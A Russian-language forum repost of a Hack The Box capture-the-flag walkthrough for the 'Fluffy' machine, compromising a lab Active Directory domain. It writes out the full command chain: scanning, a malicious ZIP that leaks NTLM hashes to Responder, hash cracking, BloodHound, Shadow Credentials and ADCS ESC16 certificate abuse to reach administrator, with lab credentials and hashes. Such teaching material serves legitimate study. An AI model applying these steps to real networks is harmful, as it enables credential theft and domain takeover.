• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем технику ESC16 ADCS для захвата Active Directory

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я на наглядном примере покажу, как повысить привилегии в Active Directory при помощи техники ADCS ESC16. На пути к захвату сервера нас также ждет свежая уязвимость в проводнике Windows и компрометация цепочки DACL.
Наша конечная цель — получение прав суперпользователя на машине Fluffy с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.69 fluffy.htb
На этот раз, помимо IP-адреса машины, нам дают учетку с правами пользователя домена.

Информация о машине
Первым делом запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 11 открытых портов:

  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM.
Первым делом проверим выданные учетные данные при помощи утилиты NetExec.

nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'
Результат проверки учетных данных
Нам удается войти от имени пользователя j.fleischman.


Точка входа​

У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.

nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users
Список пользователей
Сохраним список пользователей в файл на будущее, после чего просмотрим общие ресурсы SMB.

nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Список общих каталогов SMB
Нам доступен для чтения и записи каталог IT. Подключаемся к этому каталогу и просматриваем файлы.

smbclientng -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --host 10.10.11.69
Список файлов в каталоге IT

Помимо двух инсталлеров, там есть и файл PDF. Документ оказывается отчетом о найденных уязвимостях, которые еще, вероятно, не запатчены на хосте.

Содержимое PDF-документа

Точка опоры​

Из перечисленных уязвимостей попробуем проэксплуатировать Для просмотра ссылки Войди или Зарегистрируйся. Суть этого бага в том, что при распаковке файла из архива RAR или ZIP проводник Windows автоматически проанализирует файлы .library-ms. Если в теге <url> указана ссылка на SMB, то произойдет автоматическая NTLM-аутентификация на удаленном сервере. Это приводит к утечке NTLMv2-хеша пользователя. Для создания архива воспользуемся Для просмотра ссылки Войди или Зарегистрируйся.

python3 exploit.py -f exp -i 10.10.14.72
Создание ZIP-архива
Запускаем Для просмотра ссылки Войди или Зарегистрируйся и загружаем файл на SMB-шару. Спустя несколько секунд в листенере получаем хеш пользователя p.agila.

python3 Responder.py -I tun0
Логи Responder

Осталось подобрать пароль, для чего будем использовать утилиту hashcat.

hashcat -m 5600 hash.txt ~/tools/wordlists/Passwords/rockyou.txt
Результат подбора пароля

Продвижение​

Список скомпрометированных агентов пополняется, поэтому соберем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.

./rusthound-ce -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' -i 10.10.11.69 -c All -z
Логи RustHound

Данные собрались очень быстро. Скачиваем итоговый архив и строим граф от пользователя p.agila.

Граф BloodHound

Как показывает граф BloodHound, учетная запись p.agila состоит в группе SERVICE ACCOUNTS, члены которой имеют право GenericAll на учетные записи winrm_svc, ldap_svc и ca_svc. Так как в домене настроена служба ADCS, мы можем использовать технику Shadow Credentials.

Эта атака позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату пользователя мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow.

faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account winrm_svc
Учетные данные winrm_svc
faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account ldap_svc
Учетные данные ldap_svc
faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account ca_svc
Учетные данные ca_svc
От имени учетной записи winrm_svc авторизуемся в службе WinRM через Для просмотра ссылки Войди или Зарегистрируйся и забираем первый флаг.

evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Флаг пользователя

Локальное повышение привилегий​

У нас есть учетная запись с говорящим именем ca_svc. С помощью Для просмотра ссылки Войди или Зарегистрируйся получим информацию о центре сертификации и активные шаблоны сертификатов, но перед этим обновим запись в файле /etc/hosts.

Код:
10.10.11.69 fluffy.htb fluffy-dc01-ca dc01.fluffy.htb
certipy find -u ca_svc -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -vulnerable -stdout
Информация о центре сертификации

Certipy показывает неправильную настройку центра сертификации, что позволит нам использовать технику ADCS ESC16 для повышения привилегий в домене. ESC16 можно использовать, когда центр сертификации глобально настроен на отключение расширения безопасности szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) во всех выдаваемых им сертификатах. А это значит, что мы можем добиться сопоставления сертификата и учетной записи по UPN.

В этом случае нам нужно записать в атрибут userPrincipalName подконтрольной учетной записи имя той учетки, чей сертификат нам нужно получить, в данном случае это будет administrator. Но сперва просмотрим текущее значение userPrincipalName учетной записи ca_svc.

certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Значение userPrincipalName
Теперь меняем userPrincipalName на administrator.

certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
Изменение userPrincipalName

От имени подконтрольной учетной записи запрашиваем сертификат по стандартному шаблону User. При сопоставлении по UPN будет получен сертификат для пользователя administrator.

certipy req -dc-ip 10.10.11.69 -u ca_svc -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -ca fluffy-DC01-CA -template User
Запрос сертификата
Теперь восстановим реальный UPN ca_svc.

certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc' -user 'ca_svc' update
Изменение userPrincipalName
И по сертификату сначала получаем TGT-билет администратора, а из него уже извлекаем NTLM-хеш пароля.

faketime -f '+7h' certipy auth -pfx administrator.pfx -dc-ip '10.10.11.69' -username administrator -domain fluffy.htb
Получение учетных данных
С хешем учетной записи получаем сессию по WinRM и забираем последний флаг.

evil-winrm -i 10.10.11.69 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here